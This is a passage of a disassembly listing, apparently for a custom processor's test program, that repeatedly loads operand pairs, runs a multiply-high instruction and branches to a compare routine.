ce8c: 10 40 01 29 ld32 r9,r9
ce90: 00 60 01 10 mulh r8,r16
ce94: 20 70 03 e2 movepc rret,8
ce98: 14 30 cc 5e br 10 <compare>,#al
ce9c: 00 10 00 41 add r2,1
cea0: 0d 41 f9 1c wl16 r8,0xfdc
cea4: 0d 60 01 03 wh16 r8,0x3
cea8: 10 40 01 08 ld32 r8,r8
ceac: 0d 44 1a 18 wl16 r16,0x20d8
ceb0: 0d 60 02 03 wh16 r16,0x3
ceb4: 10 40 02 10 ld32 r16,r16
ceb8: 0d 46 39 34 wl16 r9,0x31d4
cebc: 0d 60 01 23 wh16 r9,0x3
cec0: 10 40 01 29 ld32 r9,r9
cec4: 00 60 01 10 mulh r8,r16
cec8: 20 70 03 e2 movepc rret,8
cecc: 14 30 cc 51 br 10 <compare>,#al
ced0: 00 10 00 41 add r2,1
ced4: 0d 41 fd 00 wl16 r8,0xfe0
ced8: 0d 60 01 03 wh16 r8,0x3
cedc: 10 40 01 08 ld32 r8,r8
cee0: 0d 44 1a 1c wl16 r16,0x20dc
cee4: 0d 60 02 03 wh16 r16,0x3
cee8: 10 40 02 10 ld32 r16,r16
ceec: 0d 46 39 38 wl16 r9,0x31d8
cef0: 0d 60 01 23 wh16 r9,0x3
cef4: 10 40 01 29 ld32 r9,r9
cef8: 00 60 01 10 mulh r8,r16
cefc: 20 70 03 e2 movepc rret,8
cf00: 14 30 cc 44 br 10 <compare>,#al
cf04: 00 10 00 41 add r2,1
cf08: 0d 41 fd 04 wl16 r8,0xfe4
cf0c: 0d 60 01 03 wh16 r8,0x3
cf10: 10 40 01 08 ld32 r8,r8
cf14: 0d 44 1e 00 wl16 r16,0x20e0
cf18: 0d 60 02 03 wh16 r16,0x3
cf1c: 10 40 02 10 ld32 r16,r16
cf20: 0d 46 39 3c wl16 r9,0x31dc
cf24: 0d 60 01 23 wh16 r9,0x3
cf28: 10 40 01 29 ld32 r9,r9
cf2c: 00 60 01 10 mulh r8,r16
cf30: 20 70 03 e2 movepc rret,8
cf34: 14 30 cc 37 br 10 <compare>,#al
cf38: 00 10 00 41 add r2,1
cf3c: 0d 41 fd 08 wl16 r8,0xfe8
cf40: 0d 60 01 03 wh16 r8,0x3
cf44: 10 40 01 08 ld32 r8,r8
cf48: 0d 44 1e 04 wl16 r16,0x20e4
cf4c: 0d 60 02 03 wh16 r16,0x3
cf50: 10 40 02 10 ld32 r16,r16
cf54: 0d 46 3d 20 wl16 r9,0x31e0
cf58: 0d 60 01 23 wh16 r9,0x3
cf5c: 10 40 01 29 ld32 r9,r9
cf60: 00 60 01 10 mulh r8,r16
cf64: 20 70 03 e2 movepc rret,8
cf68: 14 30 cc 2a br 10 <compare>,#al
cf6c: 00 10 00 41 add r2,1
cf70: 0d 41 fd 0c wl16 r8,0xfec
cf74: 0d 60 01 03 wh16 r8,0x3
cf78: 10 40 01 08 ld32 r8,r8
cf7c: 0d 44 1e 08 wl16 r16,0x20e8
cf80: 0d 60 02 03 wh16 r16,0x3
cf84: 10 40 02 10 ld32 r16,r16
cf88: 0d 46 3d 24 wl16 r9,0x31e4
cf8c: 0d 60 01 23 wh16 r9,0x3
cf90: 10 40 01 29 ld32 r9,r9
cf94: 00 60 01 10 mulh r8,r16
cf98: 20 70 03 e2 movepc rret,8
cf9c: 14 30 cc 1d br 10 <compare>,#al
cfa0: 00 10 00 41 add r2,1
cfa4: 0d 41 fd 10 wl16 r8,0xff0
cfa8: 0d 60 01 03 wh16 r8,0x3
cfac: 10 40 01 08 ld32 r8,r8
cfb0: 0d 44 1e 0c wl16 r16,0x20ec
cfb4: 0d 60 02 03 wh16 r16,0x3
cfb8: 10 40 02 10 ld32 r16,r16
cfbc: 0d 46 3d 28 wl16 r9,0x31e8
cfc0: 0d 60 01 23 wh16 r9,0x3
cfc4: 10 40 01 29 ld32 r9,r9
cfc8: 00 60 01 10 mulh r8,r16
cfcc: 20 70 03 e2 movepc rret,8
cfd0: 14 30 cc 10 br 10 <compare>,#al
cfd4: 00 10 00 41 add r2,1
cfd8: 0d 41 fd 14 wl16 r8,0xff4
cfdc: 0d 60 01 03 wh16 r8,0x3
cfe0: 10 40 01 08 ld32 r8,r8
cfe4: 0d 44 1e 10 wl16 r16,0x20f0
cfe8: 0d 60 02 03 wh16 r16,0x3
cfec: 10 40 02 10 ld32 r16,r16
cff0: 0d 46 3d 2c wl16 r9,0x31ec
cff4: 0d 60 01 23 wh16 r9,0x3
cff8: 10 40 01 29 ld32 r9,r9
cffc: 00 60 01 10 mulh r8,r16
d000: 20 70 03 e2 movepc rret,8
d004: 14 30 cc 03 br 10 <compare>,#al
d008: 00 10 00 41 add r2,1
d00c: 0d 41 fd 18 wl16 r8,0xff8
d010: 0d 60 01 03 wh16 r8,0x3
d014: 10 40 01 08 ld32 r8,r8
d018: 0d 44 1e 14 wl16 r16,0x20f4
d01c: 0d 60 02 03 wh16 r16,0x3
d020: 10 40 02 10 ld32 r16,r16
d024: 0d 46 3d 30 wl16 r9,0x31f0
d028: 0d 60 01 23 wh16 r9,0x3
d02c: 10 40 01 29 ld32 r9,r9
d030: 00 60 01 10 mulh r8,r16
d034: 20 70 03 e2 movepc rret,8
d038: 14 30 cb f6 br 10 <compare>,#al
d03c: 00 10 00 41 add r2,1
d040: 0d 41 fd 1c wl16 r8,0xffc
d044: 0d 60 01 03 wh16 r8,0x3
d048: 10 40 01 08 ld32 r8,r8
d04c: 0d 44 1e 18 wl16 r16,0x20f8
d050: 0d 60 02 03 wh16 r16,0x3
d054: 10 40 02 10 ld32 r16,r16
d058: 0d 46 3d 34 wl16 r9,0x31f4
d05c: 0d 60 01 23 wh16 r9,0x3
d060: 10 40 01 29 ld32 r9,r9
d064: 00 60 01 10 mulh r8,r16
d068: 20 70 03 e2 movepc rret,8
d06c: 14 30 cb e9 br 10 <compare>,#al
d070: 00 10 00 41 add r2,1
d074: 0d 42 01 00 wl16 r8,0x1000
d078: 0d 60 01 03 wh16 r8,0x3
d07c: 10 40 01 08 ld32 r8,r8
d080: 0d 44 1e 1c wl16 r16,0x20fc
d084: 0d 60 02 03 wh16 r16,0x3
d088: 10 40 02 10 ld32 r16,r16
d08c: 0d 46 3d 38 wl16 r9,0x31f8
d090: 0d 60 01 23 wh16 r9,0x3
d094: 10 40 01 29 ld32 r9,r9
d098: 00 60 01 10 mulh r8,r16
d09c: 20 70 03 e2 movepc rret,8
d0a0: 14 30 cb dc br 10 <compare>,#al
d0a4: 00 10 00 41 add r2,1
d0a8: 0d 42 01 04 wl16 r8,0x1004
d0ac: 0d 60 01 03 wh16 r8,0x3
d0b0: 10 40 01 08 ld32 r8,r8
d0b4: 0d 44 22 00 wl16 r16,0x2100
d0b8: 0d 60 02 03 wh16 r16,0x3
d0bc: 10 40 02 10 ld32 r16,r16
d0c0: 0d 46 3d 3c wl16 r9,0x31fc
d0c4: 0d 60 01 23 wh16 r9,0x3
d0c8: 10 40 01 29 ld32 r9,r9
d0cc: 00 60 01 10 mulh r8,r16
d0d0: 20 70 03 e2 movepc rret,8
d0d4: 14 30 cb cf br 10 <compare>,#al
d0d8: 00 10 00 41 add r2,1
d0dc: 0d 42 01 08 wl16 r8,0x1008
d0e0: 0d 60 01 03 wh16 r8,0x3
d0e4: 10 40 01 08 ld32 r8,r8
d0e8: 0d 44 22 04 wl16 r16,0x2104
d0ec: 0d 60 02 03 wh16 r16,0x3
d0f0: 10 40 02 10 ld32 r16,r16
d0f4: 0d 46 41 20 wl16 r9,0x3200
d0f8: 0d 60 01 23 wh16 r9,0x3
d0fc: 10 40 01 29 ld32 r9,r9
d100: 00 60 01 10 mulh r8,r16
d104: 20 70 03 e2 movepc rret,8
d108: 14 30 cb c2 br 10 <compare>,#al
d10c: 00 10 00 41 add r2,1
d110: 0d 42 01 0c wl16 r8,0x100c
d114: 0d 60 01 03 wh16 r8,0x3
d118: 10 40 01 08 ld32 r8,r8
d11c: 0d 44 22 08 wl16 r16,0x2108
d120: 0d 60 02 03 wh16 r16,0x3
d124: 10 40 02 10 ld32 r16,r16
d128: 0d 46 41 24 wl16 r9,0x3204
d12c: 0d 60 01 23 wh16 r9,0x3
d130: 10 40 01 29 ld32 r9,r9
d134: 00 60 01 10 mulh r8,r16
d138: 20 70 03 e2 movepc rret,8
d13c: 14 30 cb b5 br 10 <compare>,#al
d140: 00 10 00 41 add r2,1
d144: 0d 42 01 10 wl16 r8,0x1010
d148: 0d 60 01 03 wh16 r8,0x3
d14c: 10 40 01 08 ld32 r8,r8
d150: 0d 44 22 0c wl16 r16,0x210c
d154: 0d 60 02 03 wh16 r16,0x3
d158: 10 40 02 10 ld32 r16,r16
d15c: 0d 46 41 28 wl16 r9,0x3208
d160: 0d 60 01 23 wh16 r9,0x3
d164: 10 40 01 29 ld32 r9,r9
d168: 00 60 01 10 mulh r8,r16
d16c: 20 70 03 e2 movepc rret,8
d170: 14 30 cb a8 br 10 <compare>,#al
d174: 00 10 00 41 add r2,1
d178: 0d 42 01 14 wl16 r8,0x1014
d17c: 0d 60 01 03 wh16 r8,0x3
d180: 10 40 01 08 ld32 r8,r8
d184: 0d 44 22 10 wl16 r16,0x2110
d188: 0d 60 02 03 wh16 r16,0x3
d18c: 10 40 02 10 ld32 r16,r16
d190: 0d 46 41 2c wl16 r9,0x320c
d194: 0d 60 01 23 wh16 r9,0x3
d198: 10 40 01 29 ld32 r9,r9
d19c: 00 60 01 10 mulh r8,r16
d1a0: 20 70 03 e2 movepc rret,8
d1a4: 14 30 cb 9b br 10 <compare>,#al
d1a8: 00 10 00 41 add r2,1
d1ac: 0d 42 01 18 wl16 r8,0x1018
d1b0: 0d 60 01 03 wh16 r8,0x3
d1b4: 10 40 01 08 ld32 r8,r8
d1b8: 0d 44 22 14 wl16 r16,0x2114
d1bc: 0d 60 02 03 wh16 r16,0x3
d1c0: 10 40 02 10 ld32 r16,r16
d1c4: 0d 46 41 30 wl16 r9,0x3210
d1c8: 0d 60 01 23 wh16 r9,0x3
d1cc: 10 40 01 29 ld32 r9,r9
d1d0: 00 60 01 10 mulh r8,r16
d1d4: 20 70 03 e2 movepc rret,8
d1d8: 14 30 cb 8e br 10 <compare>,#al
d1dc: 00 10 00 41 add r2,1
d1e0: 0d 42 01 1c wl16 r8,0x101c
d1e4: 0d 60 01 03 wh16 r8,0x3
d1e8: 10 40 01 08 ld32 r8,r8
d1ec: 0d 44 22 18 wl16 r16,0x2118
d1f0: 0d 60 02 03 wh16 r16,0x3
d1f4: 10 40 02 10 ld32 r16,r16
d1f8: 0d 46 41 34 wl16 r9,0x3214
d1fc: 0d 60 01 23 wh16 r9,0x3
d200: 10 40 01 29 ld32 r9,r9
d204: 00 60 01 10 mulh r8,r16
d208: 20 70 03 e2 movepc rret,8
d20c: 14 30 cb 81 br 10 <compare>,#al
d210: 00 10 00 41 add r2,1
d214: 0d 42 05 00 wl16 r8,0x1020
d218: 0d 60 01 03 wh16 r8,0x3
d21c: 10 40 01 08 ld32 r8,r8
d220: 0d 44 22 1c wl16 r16,0x211c
d224: 0d 60 02 03 wh16 r16,0x3
d228: 10 40 02 10 ld32 r16,r16
d22c: 0d 46 41 38 wl16 r9,0x3218
d230: 0d 60 01 23 wh16 r9,0x3
d234: 10 40 01 29 ld32 r9,r9
d238: 00 60 01 10 mulh r8,r16
d23c: 20 70 03 e2 movepc rret,8
d240: 14 30 cb 74 br 10 <compare>,#al
d244: 00 10 00 41 add r2,1
d248: 0d 42 05 04 wl16 r8,0x1024
d24c: 0d 60 01 03 wh16 r8,0x3
d250: 10 40 01 08 ld32 r8,r8
d254: 0d 44 26 00 wl16 r16,0x2120
d258: 0d 60 02 03 wh16 r16,0x3
d25c: 10 40 02 10 ld32 r16,r16
d260: 0d 46 41 3c wl16 r9,0x321c
d264: 0d 60 01 23 wh16 r9,0x3
d268: 10 40 01 29 ld32 r9,r9
d26c: 00 60 01 10 mulh r8,r16
d270: 20 70 03 e2 movepc rret,8
d274: 14 30 cb 67 br 10 <compare>,#al
d278: 00 10 00 41 add r2,1
d27c: 0d 42 05 08 wl16 r8,0x1028
d280: 0d 60 01 03 wh16 r8,0x3
d284: 10 40 01 08 ld32 r8,r8
d288: 0d 44 26 04 wl16 r16,0x2124
d28c: 0d 60 02 03 wh16 r16,0x3
d290: 10 40 02 10 ld32 r16,r16
d294: 0d 46 45 20 wl16 r9,0x3220
d298: 0d 60 01 23 wh16 r9,0x3
d29c: 10 40 01 29 ld32 r9,r9
d2a0: 00 60 01 10 mulh r8,r16
d2a4: 20 70 03 e2 movepc rret,8
d2a8: 14 30 cb 5a br 10 <compare>,#al
d2ac: 00 10 00 41 add r2,1
d2b0: 0d 42 05 0c wl16 r8,0x102c
d2b4: 0d 60 01 03 wh16 r8,0x3
d2b8: 10 40 01 08 ld32 r8,r8
d2bc: 0d 44 26 08 wl16 r16,0x2128
d2c0: 0d 60 02 03 wh16 r16,0x3
d2c4: 10 40 02 10 ld32 r16,r16
d2c8: 0d 46 45 24 wl16 r9,0x3224
d2cc: 0d 60 01 23 wh16 r9,0x3
d2d0: 10 40 01 29 ld32 r9,r9
d2d4: 00 60 01 10 mulh r8,r16
d2d8: 20 70 03 e2 movepc rret,8
d2dc: 14 30 cb 4d br 10 <compare>,#al
d2e0: 00 10 00 41 add r2,1
d2e4: 0d 42 05 10 wl16 r8,0x1030
d2e8: 0d 60 01 03 wh16 r8,0x3
d2ec: 10 40 01 08 ld32 r8,r8
d2f0: 0d 44 26 0c wl16 r16,0x212c
d2f4: 0d 60 02 03 wh16 r16,0x3
d2f8: 10 40 02 10 ld32 r16,r16
d2fc: 0d 46 45 28 wl16 r9,0x3228
d300: 0d 60 01 23 wh16 r9,0x3
d304: 10 40 01 29 ld32 r9,r9
d308: 00 60 01 10 mulh r8,r16
d30c: 20 70 03 e2 movepc rret,8
d310: 14 30 cb 40 br 10 <compare>,#al
d314: 00 10 00 41 add r2,1
d318: 0d 42 05 14 wl16 r8,0x1034
d31c: 0d 60 01 03 wh16 r8,0x3
d320: 10 40 01 08 ld32 r8,r8
d324: 0d 44 26 10 wl16 r16,0x2130
d328: 0d 60 02 03 wh16 r16,0x3
d32c: 10 40 02 10 ld32 r16,r16
d330: 0d 46 45 2c wl16 r9,0x322c
d334: 0d 60 01 23 wh16 r9,0x3
d338: 10 40 01 29 ld32 r9,r9
d33c: 00 60 01 10 mulh r8,r16
d340: 20 70 03 e2 movepc rret,8
d344: 14 30 cb 33 br 10 <compare>,#al
d348: 00 10 00 41 add r2,1
d34c: 0d 42 05 18 wl16 r8,0x1038
d350: 0d 60 01 03 wh16 r8,0x3
d354: 10 40 01 08 ld32 r8,r8
d358: 0d 44 26 14 wl16 r16,0x2134
d35c: 0d 60 02 03 wh16 r16,0x3
d360: 10 40 02 10 ld32 r16,r16
d364: 0d 46 45 30 wl16 r9,0x3230
d368: 0d 60 01 23 wh16 r9,0x3
d36c: 10 40 01 29 ld32 r9,r9
d370: 00 60 01 10 mulh r8,r16
d374: 20 70 03 e2 movepc rret,8
d378: 14 30 cb 26 br 10 <compare>,#al
d37c: 00 10 00 41 add r2,1
d380: 0d 42 05 1c wl16 r8,0x103c
d384: 0d 60 01 03 wh16 r8,0x3
d388: 10 40 01 08 ld32 r8,r8
d38c: 0d 44 26 18 wl16 r16,0x2138
d390: 0d 60 02 03 wh16 r16,0x3
d394: 10 40 02 10 ld32 r16,r16
d398: 0d 46 45 34 wl16 r9,0x3234
d39c: 0d 60 01 23 wh16 r9,0x3
d3a0: 10 40 01 29 ld32 r9,r9
d3a4: 00 60 01 10 mulh r8,r16
d3a8: 20 70 03 e2 movepc rret,8
d3ac: 14 30 cb 19 br 10 <compare>,#al
d3b0: 00 10 00 41 add r2,1
d3b4: 0d 42 09 00 wl16 r8,0x1040
d3b8: 0d 60 01 03 wh16 r8,0x3
d3bc: 10 40 01 08 ld32 r8,r8
d3c0: 0d 44 26 1c wl16 r16,0x213c
d3c4: 0d 60 02 03 wh16 r16,0x3
d3c8: 10 40 02 10 ld32 r16,r16
d3cc: 0d 46 45 38 wl16 r9,0x3238
d3d0: 0d 60 01 23 wh16 r9,0x3
d3d4: 10 40 01 29 ld32 r9,r9
d3d8: 00 60 01 10 mulh r8,r16
d3dc: 20 70 03 e2 movepc rret,8
d3e0: 14 30 cb 0c br 10 <compare>,#al
d3e4: 00 10 00 41 add r2,1
d3e8: 0d 42 09 04 wl16 r8,0x1044
d3ec: 0d 60 01 03 wh16 r8,0x3
d3f0: 10 40 01 08 ld32 r8,r8
d3f4: 0d 44 2a 00 wl16 r16,0x2140
d3f8: 0d 60 02 03 wh16 r16,0x3
d3fc: 10 40 02 10 ld32 r16,r16
d400: 0d 46 45 3c wl16 r9,0x323c
d404: 0d 60 01 23 wh16 r9,0x3
d408: 10 40 01 29 ld32 r9,r9
d40c: 00 60 01 10 mulh r8,r16
d410: 20 70 03 e2 movepc rret,8
d414: 14 30 ca ff br 10 <compare>,#al
d418: 00 10 00 41 add r2,1
d41c: 0d 42 09 08 wl16 r8,0x1048
d420: 0d 60 01 03 wh16 r8,0x3
d424: 10 40 01 08 ld32 r8,r8
d428: 0d 44 2a 04 wl16 r16,0x2144
d42c: 0d 60 02 03 wh16 r16,0x3
d430: 10 40 02 10 ld32 r16,r16
d434: 0d 46 49 20 wl16 r9,0x3240
d438: 0d 60 01 23 wh16 r9,0x3
d43c: 10 40 01 29 ld32 r9,r9
d440: 00 60 01 10 mulh r8,r16
d444: 20 70 03 e2 movepc rret,8
d448: 14 30 ca f2 br 10 <compare>,#al
d44c: 00 10 00 41 add r2,1
d450: 0d 42 09 0c wl16 r8,0x104c
d454: 0d 60 01 03 wh16 r8,0x3
d458: 10 40 01 08 ld32 r8,r8
d45c: 0d 44 2a 08 wl16 r16,0x2148
d460: 0d 60 02 03 wh16 r16,0x3
d464: 10 40 02 10 ld32 r16,r16
d468: 0d 46 49 24 wl16 r9,0x3244
d46c: 0d 60 01 23 wh16 r9,0x3
d470: 10 40 01 29 ld32 r9,r9
d474: 00 60 01 10 mulh r8,r16
d478: 20 70 03 e2 movepc rret,8
d47c: 14 30 ca e5 br 10 <compare>,#al
d480: 00 10 00 41 add r2,1
d484: 0d 42 09 10 wl16 r8,0x1050
d488: 0d 60 01 03 wh16 r8,0x3
d48c: 10 40 01 08 ld32 r8,r8
d490: 0d 44 2a 0c wl16 r16,0x214c
d494: 0d 60 02 03 wh16 r16,0x3
d498: 10 40 02 10 ld32 r16,r16
d49c: 0d 46 49 28 wl16 r9,0x3248
d4a0: 0d 60 01 23 wh16 r9,0x3
d4a4: 10 40 01 29 ld32 r9,r9
d4a8: 00 60 01 10 mulh r8,r16
d4ac: 20 70 03 e2 movepc rret,8
d4b0: 14 30 ca d8 br 10 <compare>,#al
d4b4: 00 10 00 41 add r2,1
d4b8: 0d 42 09 14 wl16 r8,0x1054
d4bc: 0d 60 01 03 wh16 r8,0x3
d4c0: 10 40 01 08 ld32 r8,r8
d4c4: 0d 44 2a 10 wl16 r16,0x2150
d4c8: 0d 60 02 03 wh16 r16,0x3
d4cc: 10 40 02 10 ld32 r16,r16
d4d0: 0d 46 49 2c wl16 r9,0x324c
d4d4: 0d 60 01 23 wh16 r9,0x3
d4d8: 10 40 01 29 ld32 r9,r9
d4dc: 00 60 01 10 mulh r8,r16
d4e0: 20 70 03 e2 movepc rret,8
d4e4: 14 30 ca cb br 10 <compare>,#al
d4e8: 00 10 00 41 add r2,1
d4ec: 0d 42 09 18 wl16 r8,0x1058
d4f0: 0d 60 01 03 wh16 r8,0x3
d4f4: 10 40 01 08 ld32 r8,r8
d4f8: 0d 44 2a 14 wl16 r16,0x2154
d4fc: 0d 60 02 03 wh16 r16,0x3
d500: 10 40 02 10 ld32 r16,r16
d504: 0d 46 49 30 wl16 r9,0x3250
d508: 0d 60 01 23 wh16 r9,0x3
d50c: 10 40 01 29 ld32 r9,r9
d510: 00 60 01 10 mulh r8,r16
d514: 20 70 03 e2 movepc rret,8
d518: 14 30 ca be br 10 <compare>,#al
d51c: 00 10 00 41 add r2,1
d520: 0d 42 09 1c wl16 r8,0x105c
d524: 0d 60 01 03 wh16 r8,0x3
d528: 10 40 01 08 ld32 r8,r8
d52c: 0d 44 2a 18 wl16 r16,0x2158
d530: 0d 60 02 03 wh16 r16,0x3
d534: 10 40 02 10 ld32 r16,r16
d538: 0d 46 49 34 wl16 r9,0x3254
d53c: 0d 60 01 23 wh16 r9,0x3
d540: 10 40 01 29 ld32 r9,r9
d544: 00 60 01 10 mulh r8,r16
d548: 20 70 03 e2 movepc rret,8
d54c: 14 30 ca b1 br 10 <compare>,#al
d550: 00 10 00 41 add r2,1
d554: 0d 42 0d 00 wl16 r8,0x1060
d558: 0d 60 01 03 wh16 r8,0x3
d55c: 10 40 01 08 ld32 r8,r8
d560: 0d 44 2a 1c wl16 r16,0x215c
d564: 0d 60 02 03 wh16 r16,0x3
d568: 10 40 02 10 ld32 r16,r16
d56c: 0d 46 49 38 wl16 r9,0x3258
d570: 0d 60 01 23 wh16 r9,0x3
d574: 10 40 01 29 ld32 r9,r9
d578: 00 60 01 10 mulh r8,r16
d57c: 20 70 03 e2 movepc rret,8
d580: 14 30 ca a4 br 10 <compare>,#al
d584: 00 10 00 41 add r2,1
d588: 0d 42 0d 04 wl16 r8,0x1064
d58c: 0d 60 01 03 wh16 r8,0x3
d590: 10 40 01 08 ld32 r8,r8
d594: 0d 44 2e 00 wl16 r16,0x2160
d598: 0d 60 02 03 wh16 r16,0x3
d59c: 10 40 02 10 ld32 r16,r16
d5a0: 0d 46 49 3c wl16 r9,0x325c
d5a4: 0d 60 01 23 wh16 r9,0x3
d5a8: 10 40 01 29 ld32 r9,r9
d5ac: 00 60 01 10 mulh r8,r16
d5b0: 20 70 03 e2 movepc rret,8
d5b4: 14 30 ca 97 br 10 <compare>,#al
d5b8: 00 10 00 41 add r2,1
d5bc: 0d 42 0d 08 wl16 r8,0x1068
d5c0: 0d 60 01 03 wh16 r8,0x3
d5c4: 10 40 01 08 ld32 r8,r8
d5c8: 0d 44 2e 04 wl16 r16,0x2164
d5cc: 0d 60 02 03 wh16 r16,0x3
d5d0: 10 40 02 10 ld32 r16,r16
d5d4: 0d 46 4d 20 wl16 r9,0x3260
d5d8: 0d 60 01 23 wh16 r9,0x3
d5dc: 10 40 01 29 ld32 r9,r9
d5e0: 00 60 01 10 mulh r8,r16
d5e4: 20 70 03 e2 movepc rret,8
d5e8: 14 30 ca 8a br 10 <compare>,#al
d5ec: 00 10 00 41 add r2,1
d5f0: 0d 42 0d 0c wl16 r8,0x106c
d5f4: 0d 60 01 03 wh16 r8,0x3
d5f8: 10 40 01 08 ld32 r8,r8
d5fc: 0d 44 2e 08 wl16 r16,0x2168
d600: 0d 60 02 03 wh16 r16,0x3
d604: 10 40 02 10 ld32 r16,r16
d608: 0d 46 4d 24 wl16 r9,0x3264
d60c: 0d 60 01 23 wh16 r9,0x3
d610: 10 40 01 29 ld32 r9,r9
d614: 00 60 01 10 mulh r8,r16
d618: 20 70 03 e2 movepc rret,8
d61c: 14 30 ca 7d br 10 <compare>,#al
d620: 00 10 00 41 add r2,1
d624: 0d 42 0d 10 wl16 r8,0x1070
d628: 0d 60 01 03 wh16 r8,0x3
d62c: 10 40 01 08 ld32 r8,r8
d630: 0d 44 2e 0c wl16 r16,0x216c
d634: 0d 60 02 03 wh16 r16,0x3
d638: 10 40 02 10 ld32 r16,r16
d63c: 0d 46 4d 28 wl16 r9,0x3268
d640: 0d 60 01 23 wh16 r9,0x3
d644: 10 40 01 29 ld32 r9,r9
d648: 00 60 01 10 mulh r8,r16
d64c: 20 70 03 e2 movepc rret,8
d650: 14 30 ca 70 br 10 <compare>,#al
d654: 00 10 00 41 add r2,1
d658: 0d 42 0d 14 wl16 r8,0x1074
d65c: 0d 60 01 03 wh16 r8,0x3
d660: 10 40 01 08 ld32 r8,r8
d664: 0d 44 2e 10 wl16 r16,0x2170
d668: 0d 60 02 03 wh16 r16,0x3
d66c: 10 40 02 10 ld32 r16,r16
d670: 0d 46 4d 2c wl16 r9,0x326c
d674: 0d 60 01 23 wh16 r9,0x3
d678: 10 40 01 29 ld32 r9,r9
d67c: 00 60 01 10 mulh r8,r16
d680: 20 70 03 e2 movepc rret,8
d684: 14 30 ca 63 br 10 <compare>,#al
d688: 00 10 00 41 add r2,1
d68c: 0d 42 0d 18 wl16 r8,0x1078
d690: 0d 60 01 03 wh16 r8,0x3
d694: 10 40 01 08 ld32 r8,r8
d698: 0d 44 2e 14 wl16 r16,0x2174
d69c: 0d 60 02 03 wh16 r16,0x3
d6a0: 10 40 02 10 ld32 r16,r16
d6a4: 0d 46 4d 30 wl16 r9,0x3270
d6a8: 0d 60 01 23 wh16 r9,0x3
d6ac: 10 40 01 29 ld32 r9,r9
d6b0: 00 60 01 10 mulh r8,r16
d6b4: 20 70 03 e2 movepc rret,8
d6b8: 14 30 ca 56 br 10 <compare>,#al
d6bc: 00 10 00 41 add r2,1
d6c0: 0d 42 0d 1c wl16 r8,0x107c
d6c4: 0d 60 01 03 wh16 r8,0x3
d6c8: 10 40 01 08 ld32 r8,r8
d6cc: 0d 44 2e 18 wl16 r16,0x2178
d6d0: 0d 60 02 03 wh16 r16,0x3
d6d4: 10 40 02 10 ld32 r16,r16
d6d8: 0d 46 4d 34 wl16 r9,0x3274
d6dc: 0d 60 01 23 wh16 r9,0x3
d6e0: 10 40 01 29 ld32 r9,r9
d6e4: 00 60 01 10 mulh r8,r16
d6e8: 20 70 03 e2 movepc rret,8
d6ec: 14 30 ca 49 br 10 <compare>,#al
d6f0: 00 10 00 41 add r2,1
d6f4: 0d 42 11 00 wl16 r8,0x1080
d6f8: 0d 60 01 03 wh16 r8,0x3
d6fc: 10 40 01 08 ld32 r8,r8
d700: 0d 44 2e 1c wl16 r16,0x217c
d704: 0d 60 02 03 wh16 r16,0x3
d708: 10 40 02 10 ld32 r16,r16
d70c: 0d 46 4d 38 wl16 r9,0x3278
d710: 0d 60 01 23 wh16 r9,0x3
d714: 10 40 01 29 ld32 r9,r9
d718: 00 60 01 10 mulh r8,r16
d71c: 20 70 03 e2 movepc rret,8
d720: 14 30 ca 3c br 10 <compare>,#al
d724: 00 10 00 41 add r2,1
d728: 0d 42 11 04 wl16 r8,0x1084
d72c: 0d 60 01 03 wh16 r8,0x3
d730: 10 40 01 08 ld32 r8,r8
d734: 0d 44 32 00 wl16 r16,0x2180
d738: 0d 60 02 03 wh16 r16,0x3
d73c: 10 40 02 10 ld32 r16,r16
d740: 0d 46 4d 3c wl16 r9,0x327c
d744: 0d 60 01 23 wh16 r9,0x3
d748: 10 40 01 29 ld32 r9,r9
d74c: 00 60 01 10 mulh r8,r16
d750: 20 70 03 e2 movepc rret,8
d754: 14 30 ca 2f br 10 <compare>,#al
d758: 00 10 00 41 add r2,1
d75c: 0d 42 11 08 wl16 r8,0x1088
d760: 0d 60 01 03 wh16 r8,0x3
d764: 10 40 01 08 ld32 r8,r8
d768: 0d 44 32 04 wl16 r16,0x2184
d76c: 0d 60 02 03 wh16 r16,0x3
d770: 10 40 02 10 ld32 r16,r16
d774: 0d 46 51 20 wl16 r9,0x3280
d778: 0d 60 01 23 wh16 r9,0x3
d77c: 10 40 01 29 ld32 r9,r9
d780: 00 60 01 10 mulh r8,r16
d784: 20 70 03 e2 movepc rret,8
d788: 14 30 ca 22 br 10 <compare>,#al
d78c: 00 10 00 41 add r2,1
d790: 0d 42 11 0c wl16 r8,0x108c
d794: 0d 60 01 03 wh16 r8,0x3
d798: 10 40 01 08 ld32 r8,r8
d79c: 0d 44 32 08 wl16 r16,0x2188
d7a0: 0d 60 02 03 wh16 r16,0x3
d7a4: 10 40 02 10 ld32 r16,r16
d7a8: 0d 46 51 24 wl16 r9,0x3284
d7ac: 0d 60 01 23 wh16 r9,0x3
d7b0: 10 40 01 29 ld32 r9,r9
d7b4: 00 60 01 10 mulh r8,r16
d7b8: 20 70 03 e2 movepc rret,8
d7bc: 14 30 ca 15 br 10 <compare>,#al
d7c0: 00 10 00 41 add r2,1
d7c4: 0d 42 11 10 wl16 r8,0x1090
d7c8: 0d 60 01 03 wh16 r8,0x3
d7cc: 10 40 01 08 ld32 r8,r8
d7d0: 0d 44 32 0c wl16 r16,0x218c
d7d4: 0d 60 02 03 wh16 r16,0x3
d7d8: 10 40 02 10 ld32 r16,r16
d7dc: 0d 46 51 28 wl16 r9,0x3288
d7e0: 0d 60 01 23 wh16 r9,0x3
d7e4: 10 40 01 29 ld32 r9,r9
d7e8: 00 60 01 10 mulh r8,r16
d7ec: 20 70 03 e2 movepc rret,8
d7f0: 14 30 ca 08 br 10 <compare>,#al
d7f4: 00 10 00 41 add r2,1
d7f8: 0d 42 11 14 wl16 r8,0x1094
d7fc: 0d 60 01 03 wh16 r8,0x3
d800: 10 40 01 08 ld32 r8,r8
d804: 0d 44 32 10 wl16 r16,0x2190
d808: 0d 60 02 03 wh16 r16,0x3
d80c: 10 40 02 10 ld32 r16,r16
d810: 0d 46 51 2c wl16 r9,0x328c
d814: 0d 60 01 23 wh16 r9,0x3
d818: 10 40 01 29 ld32 r9,r9
d81c: 00 60 01 10 mulh r8,r16
d820: 20 70 03 e2 movepc rret,8
d824: 14 30 c9 fb br 10 <compare>,#al
d828: 00 10 00 41 add r2,1
d82c: 0d 42 11 18 wl16 r8,0x1098
d830: 0d 60 01 03 wh16 r8,0x3
d834: 10 40 01 08 ld32 r8,r8
d838: 0d 44 32 14 wl16 r16,0x2194
d83c: 0d 60 02 03 wh16 r16,0x3
d840: 10 40 02 10 ld32 r16,r16
d844: 0d 46 51 30 wl16 r9,0x3290
d848: 0d 60 01 23 wh16 r9,0x3
d84c: 10 40 01 29 ld32 r9,r9
